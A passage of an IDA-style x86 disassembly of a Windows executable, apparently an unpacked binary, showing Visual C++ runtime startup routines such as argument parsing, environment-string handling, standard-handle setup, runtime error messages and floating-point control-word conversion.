dword_494284, 1 pop ebx retn sub_41D246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2FF proc near ; CODE XREF: sub_417ED0+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_494294, ebx push esi push edi jnz short loc_41D316 call sub_41CAB9 loc_41D316: ; CODE XREF: sub_41D2FF+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call ds:dword_495330 ; GetModuleFileNameA mov eax, dword_494278 mov off_49282C, esi mov edi, esi cmp [eax], bl jz short loc_41D33B mov edi, eax loc_41D33B: ; CODE XREF: sub_41D2FF+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41D398 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_415CF8 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41D36B push 8 call sub_417FC6 pop ecx loc_41D36B: ; CODE XREF: sub_41D2FF+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41D398 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_492814, esi pop edi pop esi mov dword_492810, eax pop ebx leave retn sub_41D2FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D398 proc near ; CODE XREF: sub_41D2FF+47p ; sub_41D2FF+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41D3C2 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41D3C2: ; CODE XREF: sub_41D398+20j cmp byte ptr [eax], 22h jnz short loc_41D40B loc_41D3C7: ; CODE XREF: sub_41D398+58j ; sub_41D398+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41D3F9 test dl, dl jz short loc_41D3F9 movzx edx, dl test byte_494141[edx], 4 jz short loc_41D3EC inc dword ptr [ecx] test esi, esi jz short loc_41D3EC mov dl, [eax] mov [esi], dl inc esi inc eax loc_41D3EC: ; CODE XREF: sub_41D398+46j ; sub_41D398+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41D3C7 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41D3C7 ; --------------------------------------------------------------------------- loc_41D3F9: ; CODE XREF: sub_41D398+36j ; sub_41D398+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41D403 and byte ptr [esi], 0 inc esi loc_41D403: ; CODE XREF: sub_41D398+65j cmp byte ptr [eax], 22h jnz short loc_41D44E inc eax jmp short loc_41D44E ; --------------------------------------------------------------------------- loc_41D40B: ; CODE XREF: sub_41D398+2Dj ; sub_41D398+A5j inc dword ptr [ecx] test esi, esi jz short loc_41D416 mov dl, [eax] mov [esi], dl inc esi loc_41D416: ; CODE XREF: sub_41D398+77j mov dl, [eax] inc eax movzx ebx, dl test byte_494141[ebx], 4 jz short loc_41D431 inc dword ptr [ecx] test esi, esi jz short loc_41D430 mov bl, [eax] mov [esi], bl inc esi loc_41D430: ; CODE XREF: sub_41D398+91j inc eax loc_41D431: ; CODE XREF: sub_41D398+8Bj cmp dl, 20h jz short loc_41D43F test dl, dl jz short loc_41D443 cmp dl, 9 jnz short loc_41D40B loc_41D43F: ; CODE XREF: sub_41D398+9Cj test dl, dl jnz short loc_41D446 loc_41D443: ; CODE XREF: sub_41D398+A0j dec eax jmp short loc_41D44E ; --------------------------------------------------------------------------- loc_41D446: ; CODE XREF: sub_41D398+A9j test esi, esi jz short loc_41D44E and byte ptr [esi-1], 0 loc_41D44E: ; CODE XREF: sub_41D398+6Ej ; sub_41D398+71j ... and [ebp+arg_10], 0 loc_41D452: ; CODE XREF: sub_41D398+19Ej cmp byte ptr [eax], 0 jz loc_41D53B loc_41D45B: ; CODE XREF: sub_41D398+D0j mov dl, [eax] cmp dl, 20h jz short loc_41D467 cmp dl, 9 jnz short loc_41D46A loc_41D467: ; CODE XREF: sub_41D398+C8j inc eax jmp short loc_41D45B ; --------------------------------------------------------------------------- loc_41D46A: ; CODE XREF: sub_41D398+CDj cmp byte ptr [eax], 0 jz loc_41D53B test edi, edi jz short loc_41D47F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41D47F: ; CODE XREF: sub_41D398+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41D484: ; CODE XREF: sub_41D398+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41D48D: ; CODE XREF: sub_41D398+FCj cmp byte ptr [eax], 5Ch jnz short loc_41D496 inc eax inc ebx jmp short loc_41D48D ; --------------------------------------------------------------------------- loc_41D496: ; CODE XREF: sub_41D398+F8j cmp byte ptr [eax], 22h jnz short loc_41D4C7 test bl, 1 jnz short loc_41D4C5 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41D4B4 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41D4B4 mov eax, edx jmp short loc_41D4B7 ; --------------------------------------------------------------------------- loc_41D4B4: ; CODE XREF: sub_41D398+10Dj ; sub_41D398+116j mov [ebp+arg_0], edi loc_41D4B7: ; CODE XREF: sub_41D398+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41D4C5: ; CODE XREF: sub_41D398+106j shr ebx, 1 loc_41D4C7: ; CODE XREF: sub_41D398+101j mov edx, ebx dec ebx test edx, edx jz short loc_41D4DC inc ebx loc_41D4CF: ; CODE XREF: sub_41D398+142j test esi, esi jz short loc_41D4D7 mov byte ptr [esi], 5Ch inc esi loc_41D4D7: ; CODE XREF: sub_41D398+139j inc dword ptr [ecx] dec ebx jnz short loc_41D4CF loc_41D4DC: ; CODE XREF: sub_41D398+134j mov dl, [eax] test dl, dl jz short loc_41D52C cmp [ebp+arg_10], 0 jnz short loc_41D4F2 cmp dl, 20h jz short loc_41D52C cmp dl, 9 jz short loc_41D52C loc_41D4F2: ; CODE XREF: sub_41D398+14Ej cmp [ebp+arg_0], 0 jz short loc_41D526 test esi, esi jz short loc_41D515 movzx ebx, dl test byte_494141[ebx], 4 jz short loc_41D50E mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41D50E: ; CODE XREF: sub_41D398+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41D524 ; --------------------------------------------------------------------------- loc_41D515: ; CODE XREF: sub_41D398+162j movzx edx, dl test byte_494141[edx], 4 jz short loc_41D524 inc eax inc dword ptr [ecx] loc_41D524: ; CODE XREF: sub_41D398+17Bj ; sub_41D398+187j inc dword ptr [ecx] loc_41D526: ; CODE XREF: sub_41D398+15Ej inc eax jmp loc_41D484 ; --------------------------------------------------------------------------- loc_41D52C: ; CODE XREF: sub_41D398+148j ; sub_41D398+153j ... test esi, esi jz short loc_41D534 and byte ptr [esi], 0 inc esi loc_41D534: ; CODE XREF: sub_41D398+196j inc dword ptr [ecx] jmp loc_41D452 ; --------------------------------------------------------------------------- loc_41D53B: ; CODE XREF: sub_41D398+BDj ; sub_41D398+D5j test edi, edi jz short loc_41D542 and dword ptr [edi], 0 loc_41D542: ; CODE XREF: sub_41D398+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41D398 endp ; =============== S U B R O U T I N E ======================================= sub_41D54C proc near ; CODE XREF: sub_417ED0+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4929AC push ebx push ebp mov ebp, ds:dword_495320 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41D59A call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41D57B mov dword_4929AC, 1 jmp short loc_41D5A3 ; --------------------------------------------------------------------------- loc_41D57B: ; CODE XREF: sub_41D54C+21j call ds:dword_495488 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_41D675 mov dword_4929AC, 2 jmp loc_41D629 ; --------------------------------------------------------------------------- loc_41D59A: ; CODE XREF: sub_41D54C+19j cmp eax, 1 jnz loc_41D624 loc_41D5A3: ; CODE XREF: sub_41D54C+2Dj cmp esi, ebx jnz short loc_41D5B3 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_41D675 loc_41D5B3: ; CODE XREF: sub_41D54C+59j cmp [esi], bx mov eax, esi jz short loc_41D5C8 loc_41D5BA: ; CODE XREF: sub_41D54C+73j ; sub_41D54C+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41D5BA inc eax inc eax cmp [eax], bx jnz short loc_41D5BA loc_41D5C8: ; CODE XREF: sub_41D54C+6Cj sub eax, esi mov edi, ds:dword_4953E8 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41D619 push ebp call sub_415CF8 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41D619 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41D615 push [esp+18h+var_8] call sub_415D6C pop ecx mov [esp+18h+var_8], ebx loc_41D615: ; CODE XREF: sub_41D54C+B9j mov ebx, [esp+18h+var_8] loc_41D619: ; CODE XREF: sub_41D54C+99j ; sub_41D54C+A8j push esi call ds:dword_495484 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41D677 ; --------------------------------------------------------------------------- loc_41D624: ; CODE XREF: sub_41D54C+51j cmp eax, 2 jnz short loc_41D675 loc_41D629: ; CODE XREF: sub_41D54C+49j cmp edi, ebx jnz short loc_41D639 call ds:dword_495488 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_41D675 loc_41D639: ; CODE XREF: sub_41D54C+DFj cmp [edi], bl mov eax, edi jz short loc_41D649 loc_41D63F: ; CODE XREF: sub_41D54C+F6j ; sub_41D54C+FBj inc eax cmp [eax], bl jnz short loc_41D63F inc eax cmp [eax], bl jnz short loc_41D63F loc_41D649: ; CODE XREF: sub_41D54C+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_415CF8 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41D65F xor esi, esi jmp short loc_41D66A ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D54C+10Dj push ebp push edi push esi call sub_415960 add esp, 0Ch loc_41D66A: ; CODE XREF: sub_41D54C+111j push edi call ds:dword_495480 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_41D677 ; --------------------------------------------------------------------------- loc_41D675: ; CODE XREF: sub_41D54C+39j ; sub_41D54C+61j ... xor eax, eax loc_41D677: ; CODE XREF: sub_41D54C+D6j ; sub_41D54C+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41D54C endp ; =============== S U B R O U T I N E ======================================= sub_41D67E proc near ; CODE XREF: sub_417ED0+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_415CF8 mov esi, eax pop ecx test esi, esi jnz short loc_41D69E push 1Bh call sub_417FC6 pop ecx loc_41D69E: ; CODE XREF: sub_41D67E+16j mov dword_493E60, esi mov dword_493F9C, 20h lea eax, [esi+100h] loc_41D6B4: ; CODE XREF: sub_41D67E+52j cmp esi, eax jnb short loc_41D6D2 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_493E60 add esi, 8 add eax, 100h jmp short loc_41D6B4 ; --------------------------------------------------------------------------- loc_41D6D2: ; CODE XREF: sub_41D67E+38j lea eax, [esp+54h+var_44] push eax call ds:dword_495440 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_41D7AE mov eax, [esp+54h+var_10] test eax, eax jz loc_41D7AE mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41D708 mov esi, eax loc_41D708: ; CODE XREF: sub_41D67E+86j cmp dword_493F9C, esi jge short loc_41D762 mov edi, offset dword_493E64 loc_41D715: ; CODE XREF: sub_41D67E+DAj push 100h call sub_415CF8 test eax, eax pop ecx jz short loc_41D75C add dword_493F9C, 20h mov [edi], eax lea ecx, [eax+100h] loc_41D733: ; CODE XREF: sub_41D67E+CFj cmp eax, ecx jnb short loc_41D74F and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41D733 ; --------------------------------------------------------------------------- loc_41D74F: ; CODE XREF: sub_41D67E+B7j add edi, 4 cmp dword_493F9C, esi jl short loc_41D715 jmp short loc_41D762 ; --------------------------------------------------------------------------- loc_41D75C: ; CODE XREF: sub_41D67E+A4j mov esi, dword_493F9C loc_41D762: ; CODE XREF: sub_41D67E+90j ; sub_41D67E+DCj xor edi, edi test esi, esi jle short loc_41D7AE loc_41D768: ; CODE XREF: sub_41D67E+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41D7A5 mov cl, [ebp+0] test cl, 1 jz short loc_41D7A5 test cl, 8 jnz short loc_41D787 push eax call ds:dword_495314 ; GetFileType test eax, eax jz short loc_41D7A5 loc_41D787: ; CODE XREF: sub_41D67E+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_493E60[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41D7A5: ; CODE XREF: sub_41D67E+EFj ; sub_41D67E+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41D768 loc_41D7AE: ; CODE XREF: sub_41D67E+65j ; sub_41D67E+71j ... xor ebx, ebx loc_41D7B0: ; CODE XREF: sub_41D67E+195j mov eax, dword_493E60 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41D80B test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41D7CB push 0FFFFFFF6h pop eax jmp short loc_41D7D5 ; --------------------------------------------------------------------------- loc_41D7CB: ; CODE XREF: sub_41D67E+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41D7D5: ; CODE XREF: sub_41D67E+14Bj push eax call ds:dword_495318 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41D7FA push edi call ds:dword_495314 ; GetFileType test eax, eax jz short loc_41D7FA and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41D800 loc_41D7FA: ; CODE XREF: sub_41D67E+163j ; sub_41D67E+16Ej or byte ptr [esi+4], 40h jmp short loc_41D80F ; --------------------------------------------------------------------------- loc_41D800: ; CODE XREF: sub_41D67E+17Aj cmp eax, 3 jnz short loc_41D80F or byte ptr [esi+4], 8 jmp short loc_41D80F ; --------------------------------------------------------------------------- loc_41D80B: ; CODE XREF: sub_41D67E+13Ej or byte ptr [esi+4], 80h loc_41D80F: ; CODE XREF: sub_41D67E+180j ; sub_41D67E+185j ... inc ebx cmp ebx, 3 jl short loc_41D7B0 push dword_493F9C call ds:dword_49531C ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41D67E endp ; --------------------------------------------------------------------------- push esi mov esi, offset dword_493E60 loc_41D82F: ; CODE XREF: .text:0041D848j mov eax, [esi] test eax, eax jz short loc_41D83F push eax call sub_415D6C and dword ptr [esi], 0 pop ecx loc_41D83F: ; CODE XREF: .text:0041D833j add esi, 4 cmp esi, offset dword_493F60 jl short loc_41D82F pop esi retn ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D854 proc near ; DATA XREF: sub_417ED0+Ao ; sub_41A41C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41D8F4 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41D887: ; CODE XREF: sub_41D854+90j cmp esi, 0FFFFFFFFh jz short loc_41D8ED lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41D8DB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41D8DB js short loc_41D8E6 mov edi, [ebx+8] push ebx call sub_4162C8 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41630A add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41639E mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41D8DB: ; CODE XREF: sub_41D854+40j ; sub_41D854+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41D887 ; --------------------------------------------------------------------------- loc_41D8E6: ; CODE XREF: sub_41D854+54j mov eax, 0 jmp short loc_41D909 ; --------------------------------------------------------------------------- loc_41D8ED: ; CODE XREF: sub_41D854+36j mov eax, 1 jmp short loc_41D909 ; --------------------------------------------------------------------------- loc_41D8F4: ; CODE XREF: sub_41D854+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41630A add esp, 8 pop ebp mov eax, 1 loc_41D909: ; CODE XREF: sub_41D854+97j ; sub_41D854+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D854 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41630A add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41D92C proc near ; CODE XREF: sub_417FC6+9p ; sub_417FEB+9p mov eax, dword_492848 cmp eax, 1 jz short loc_41D943 test eax, eax jnz short locret_41D964 cmp dword_435AA4, 1 jnz short locret_41D964 loc_41D943: ; CODE XREF: sub_41D92C+8j push 0FCh call sub_41D965 mov eax, dword_4929B0 pop ecx test eax, eax jz short loc_41D959 call eax loc_41D959: ; CODE XREF: sub_41D92C+29j push 0FFh call sub_41D965 pop ecx locret_41D964: ; CODE XREF: sub_41D92C+Cj ; sub_41D92C+15j retn sub_41D92C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D965 proc near ; CODE XREF: sub_417FC6+12p ; sub_417FEB+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_436138 loc_41D978: ; CODE XREF: sub_41D965+20j cmp edx, [eax] jz short loc_41D987 add eax, 8 inc ecx cmp eax, offset dword_4361C8 jl short loc_41D978 loc_41D987: ; CODE XREF: sub_41D965+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_436138[esi] jnz loc_41DAB5 mov eax, dword_492848 cmp eax, 1 jz loc_41DA8F test eax, eax jnz short loc_41D9B8 cmp dword_435AA4, 1 jz loc_41DA8F loc_41D9B8: ; CODE XREF: sub_41D965+44j cmp edx, 0FCh jz loc_41DAB5 lea eax, [ebp+var_1A4] push 104h push eax push 0 call ds:dword_495330 ; GetModuleFileNameA test eax, eax jnz short loc_41D9EF lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4175D0 pop ecx pop ecx loc_41D9EF: ; CODE XREF: sub_41D965+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_4158E0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41DA32 lea eax, [ebp+var_1A4] push eax call sub_4158E0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_416A10 add esp, 10h loc_41DA32: ; CODE XREF: sub_41D965+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4175D0 lea eax, [ebp+var_A0] push edi push eax call sub_4175E0 lea eax, [ebp+var_A0] push offset asc_427AF0 ; "\n\n" push eax call sub_4175E0 push off_43613C[esi] lea eax, [ebp+var_A0] push eax call sub_4175E0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41F80A add esp, 2Ch pop edi jmp short loc_41DAB5 ; --------------------------------------------------------------------------- loc_41DA8F: ; CODE XREF: sub_41D965+3Cj ; sub_41D965+4Dj lea eax, [ebp+arg_0] lea esi, off_43613C[esi] push 0 push eax push dword ptr [esi] call sub_4158E0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_495318 ; GetStdHandle push eax call ds:dword_49535C ; WriteFile loc_41DAB5: ; CODE XREF: sub_41D965+2Ej ; sub_41D965+59j ... pop esi leave retn sub_41D965 endp ; --------------------------------------------------------------------------- mov ecx, [esp+4] xor edx, edx mov eax, offset dword_436138 loc_41DAC3: ; CODE XREF: .text:0041DAD0j cmp ecx, [eax] jz short loc_41DAD2 add eax, 8 inc edx cmp eax, offset dword_4361C8 jl short loc_41DAC3 loc_41DAD2: ; CODE XREF: .text:0041DAC5j mov eax, edx shl eax, 3 cmp ecx, dword_436138[eax] jnz short loc_41DAE6 mov eax, off_43613C[eax] retn ; --------------------------------------------------------------------------- loc_41DAE6: ; CODE XREF: .text:0041DADDj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_41DAE9 proc near ; DATA XREF: sub_41DB2Fo ; .data:00435AC0o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41DB0C cmp dword ptr [eax+10h], 3 jnz short loc_41DB0C cmp dword ptr [eax+14h], 19930520h jnz short loc_41DB0C jmp sub_41A91C ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DAE9+Dj ; sub_41DAE9+13j ... mov eax, dword_4929B4 test eax, eax jz short loc_41DB29 push eax call sub_41E3A2 test eax, eax pop ecx jz short loc_41DB29 push esi call dword_4929B4 jmp short loc_41DB2B ; --------------------------------------------------------------------------- loc_41DB29: ; CODE XREF: sub_41DAE9+2Aj ; sub_41DAE9+35j xor eax, eax loc_41DB2B: ; CODE XREF: sub_41DAE9+3Ej pop esi retn 4 sub_41DAE9 endp ; =============== S U B R O U T I N E ======================================= sub_41DB2F proc near ; DATA XREF: .data:00429528o push offset sub_41DAE9 call ds:dword_495310 ; SetUnhandledExceptionFilter mov dword_4929B4, eax retn sub_41DB2F endp ; =============== S U B R O U T I N E ======================================= sub_41DB40 proc near ; DATA XREF: .data:00429B40o push dword_4929B4 call ds:dword_495310 ; SetUnhandledExceptionFilter retn sub_41DB40 endp ; =============== S U B R O U T I N E ======================================= sub_41DB4D proc near ; CODE XREF: sub_4198D1+52p xor eax, eax retn sub_41DB4D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx fstsw word ptr [ebp-4] push dword ptr [ebp-4] call sub_41DD07 pop ecx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx fnstsw word ptr [ebp-4] fnclex push dword ptr [ebp-4] call sub_41DD07 pop ecx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB77 proc near ; CODE XREF: sub_41DBAC+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41DBEC mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41DC7E pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41DB77 endp ; =============== S U B R O U T I N E ======================================= sub_41DBAC proc near ; CODE XREF: sub_419C21+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41DB77 pop ecx pop ecx retn sub_41DBAC endp ; --------------------------------------------------------------------------- push esi mov esi, dword_4928A4 fninit call sub_419C21 test esi, esi jz short loc_41DBEA mov eax, [esi+4] test dword ptr [eax], 10008h jz short loc_41DBEA and dword ptr [eax+20h], 0 mov dword ptr [eax+24h], 0FFFFh loc_41DBEA: ; CODE XREF: .text:0041DBD2j ; .text:0041DBDDj pop esi retn ; =============== S U B R O U T I N E ======================================= sub_41DBEC proc near ; CODE XREF: sub_41DB77+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41DBFD push 10h pop eax loc_41DBFD: ; CODE XREF: sub_41DBEC+Cj test bl, 4 jz short loc_41DC04 or al, 8 loc_41DC04: ; CODE XREF: sub_41DBEC+14j test bl, 8 jz short loc_41DC0B or al, 4 loc_41DC0B: ; CODE XREF: sub_41DBEC+1Bj test bl, 10h jz short loc_41DC12 or al, 2 loc_41DC12: ; CODE XREF: sub_41DBEC+22j test bl, 20h jz short loc_41DC19 or al, 1 loc_41DC19: ; CODE XREF: sub_41DBEC+29j test bl, 2 jz short loc_41DC23 or eax, 80000h loc_41DC23: ; CODE XREF: sub_41DBEC+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41DC5B cmp edx, 400h jz short loc_41DC58 cmp edx, 800h jz short loc_41DC54 cmp edx, esi jnz short loc_41DC5B or eax, edi jmp short loc_41DC5B ; --------------------------------------------------------------------------- loc_41DC54: ; CODE XREF: sub_41DBEC+5Ej or eax, ebp jmp short loc_41DC5B ; --------------------------------------------------------------------------- loc_41DC58: ; CODE XREF: sub_41DBEC+56j or ah, 1 loc_41DC5B: ; CODE XREF: sub_41DBEC+4Ej ; sub_41DBEC+62j ... and ecx, edi pop esi jz short loc_41DC6B cmp ecx, ebp jnz short loc_41DC70 or eax, 10000h jmp short loc_41DC70 ; --------------------------------------------------------------------------- loc_41DC6B: ; CODE XREF: sub_41DBEC+72j or eax, 20000h loc_41DC70: ; CODE XREF: sub_41DBEC+76j ; sub_41DBEC+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41DC7D or eax, 40000h locret_41DC7D: ; CODE XREF: sub_41DBEC+8Aj retn sub_41DBEC endp ; =============== S U B R O U T I N E ======================================= sub_41DC7E proc near ; CODE XREF: sub_41DB77+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41DC8E push 1 pop eax loc_41DC8E: ; CODE XREF: sub_41DC7E+Bj test bl, 8 jz short loc_41DC95 or al, 4 loc_41DC95: ; CODE XREF: sub_41DC7E+13j test bl, 4 jz short loc_41DC9C or al, 8 loc_41DC9C: ; CODE XREF: sub_41DC7E+1Aj test bl, 2 jz short loc_41DCA3 or al, 10h loc_41DCA3: ; CODE XREF: sub_41DC7E+21j test bl, 1 jz short loc_41DCAA or al, 20h loc_41DCAA: ; CODE XREF: sub_41DC7E+28j test ebx, 80000h jz short loc_41DCB4 or al, 2 loc_41DCB4: ; CODE XREF: sub_41DC7E+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41DCE1 cmp ecx, 100h jz short loc_41DCDE cmp ecx, esi jz short loc_41DCD9 cmp ecx, edx jnz short loc_41DCE1 or ah, 0Ch jmp short loc_41DCE1 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41DC7E+50j or ah, 8 jmp short loc_41DCE1 ; --------------------------------------------------------------------------- loc_41DCDE: ; CODE XREF: sub_41DC7E+4Cj or ah, 4 loc_41DCE1: ; CODE XREF: sub_41DC7E+44j ; sub_41DC7E+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41DCF7 cmp ecx, 10000h jnz short loc_41DCF9 or eax, esi jmp short loc_41DCF9 ; --------------------------------------------------------------------------- loc_41DCF7: ; CODE XREF: sub_41DC7E+6Bj or eax, edx loc_41DCF9: ; CODE XREF: sub_41DC7E+73j ; sub_41DC7E+77j pop esi test ebx, 40000h pop ebx jz short locret_41DD06 or ah, 10h locret_41DD06: ; CODE XREF: sub_41DC7E+83j retn sub_41DC7E endp ; =============== S U B R O U T I N E ======================================= sub_41DD07 proc near ; CODE XREF: .text:0041DB5Bp ; .text:0041DB6Fp arg_0 = byte ptr 4 mov cl, [esp+arg_0] xor eax, eax test cl, 1 jz short loc_41DD15 push 10h pop eax loc_41DD15: ; CODE XREF: sub_41DD07+9j test cl, 4 jz short loc_41DD1C or al, 8 loc_41DD1C: ; CODE XREF: sub_41DD07+11j test cl, 8 jz short loc_41DD23 or al, 4 loc_41DD23: ; CODE XREF: 